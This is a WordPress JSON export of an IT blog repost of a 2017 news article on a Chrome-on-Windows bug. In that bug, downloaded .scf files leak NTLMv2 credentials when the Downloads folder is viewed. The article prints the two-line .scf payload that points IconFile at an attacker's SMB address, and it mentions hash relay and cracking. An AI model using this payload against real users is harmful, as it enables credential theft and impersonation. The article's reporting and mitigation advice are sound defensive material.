{"id":286895,"date":"2017-05-17T15:31:49","date_gmt":"2017-05-17T20:31:49","guid":{"rendered":"http:\/\/itblog.lcisd.net\/?p=286895"},"modified":"2017-05-17T15:31:49","modified_gmt":"2017-05-17T20:31:49","slug":"chrome-on-windows-has-credential-theft-bug","status":"publish","type":"post","link":"https:\/\/itblog.lcisd.net\/?p=286895","title":{"rendered":"Chrome on Windows has credential theft bug"},"content":{"rendered":"

Chrome on Windows has credential theft bug<\/h1>\n

.SCF files present ID, password to fetch icons for attack file<\/h2>\n
\n
17 May 2017 at 02:09, <\/span> Richard Chirgwin<\/a><\/div>\n
\n
\n<\/div>\n<\/div>\n
\n

Google’s Chrome team is working to fix a credential theft bug that strikes if the browser is running on Microsoft Windows.<\/p>\n

The bug is exploited if a user is tricked into clicking a link that downloads a Windows .scf file (the ancient Shell Command File format, a shortcut to Show Desktop since Windows 98).<\/p>\n

This exploits two things: how Chrome handles .scf files, and how Windows handles them.<\/p>\n

Most download links are sanitised by Chrome \u2013 for example, as discoverers DefenseCode write<\/a>, since Stuxnet the browser has forced a .download extension onto Windows LNK files \u2013 but not .scf files.<\/p>\n

That arrangement means that if the user clicks the link, the malicious .scf file will lie dormant in the \/Downloads<\/code> directory until the next time the user opens the folder.<\/p>\n

Here’s where the Windows flaw comes in: merely viewing the folder will trigger Windows to try and retrieve an icon associated with the .scf file.<\/p>\n

To retrieve the icon, the user’s machine will present credentials to a server \u2013 their user ID and hashed password on a corporate network, or the home group’s credentials if it’s a personal machine.<\/p>\n

Naturally enough, since this involves credentials, they’re available to the attacker.<\/p>\n

If the .scf file contains this code:<\/p>\n

[Shell]\r\nIconFile=\\\\170.170.170.170\\icon\r\n<\/pre>\n
\u2026 then the user ID and hashed password will be presented to the attacker’s IP.<\/p>\n
Since it’s an NTLMv2 hashed password, to recover it would need offline brute-force cracking, but SecureCode points out that user ID and the hash can be presented to other services.<\/p>\n
\u201cThe remote SMB server set up by the attacker is ready to capture the victim’s username and NTLMv2 password hash for offline cracking or relay the connection<\/b> to an externally available service that accepts the same kind of authentication (e.g. Microsoft Exchange) to impersonate the victim without ever knowing the password\u201d writes Defense Code’s Bosko Stankovic [emphasis added].<\/p>\n
Password brute-forcing is only moderately difficult, the post says: an NVIDIA GTX 1080 card should manage to recover an eight-character password in less than a day.<\/p>\n
While users wait for a fix from Google, Chrome users should get to their Advanced settings, and make Chrome ask where downloaded files are to be saved: that way, the .scf extension will be revealed.<\/p>\n
Google told<\/a> Kaspersky’s ThreatPost it’s aware of the issue and is working on a fix. \u00ae<\/p>\n<\/div>\n
Entire article and comments.<\/a><\/div>\n","protected":false},"excerpt":{"rendered":"
Chrome on Windows has credential theft bug .SCF files present ID, password to fetch icons for attack file 17 May 2017 at 02:09, Richard Chirgwin Google’s Chrome team is working to fix a credential theft bug that strikes if the<\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-286895","post","type-post","status-publish","format-standard","hentry","category-security"],"_links":{"self":[{"href":"https:\/\/itblog.lcisd.net\/index.php?rest_route=\/wp\/v2\/posts\/286895","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/itblog.lcisd.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/itblog.lcisd.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/itblog.lcisd.net\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/itblog.lcisd.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=286895"}],"version-history":[{"count":2,"href":"https:\/\/itblog.lcisd.net\/index.php?rest_route=\/wp\/v2\/posts\/286895\/revisions"}],"predecessor-version":[{"id":286897,"href":"https:\/\/itblog.lcisd.net\/index.php?rest_route=\/wp\/v2\/posts\/286895\/revisions\/286897"}],"wp:attachment":[{"href":"https:\/\/itblog.lcisd.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=286895"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/itblog.lcisd.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=286895"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/itblog.lcisd.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=286895"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}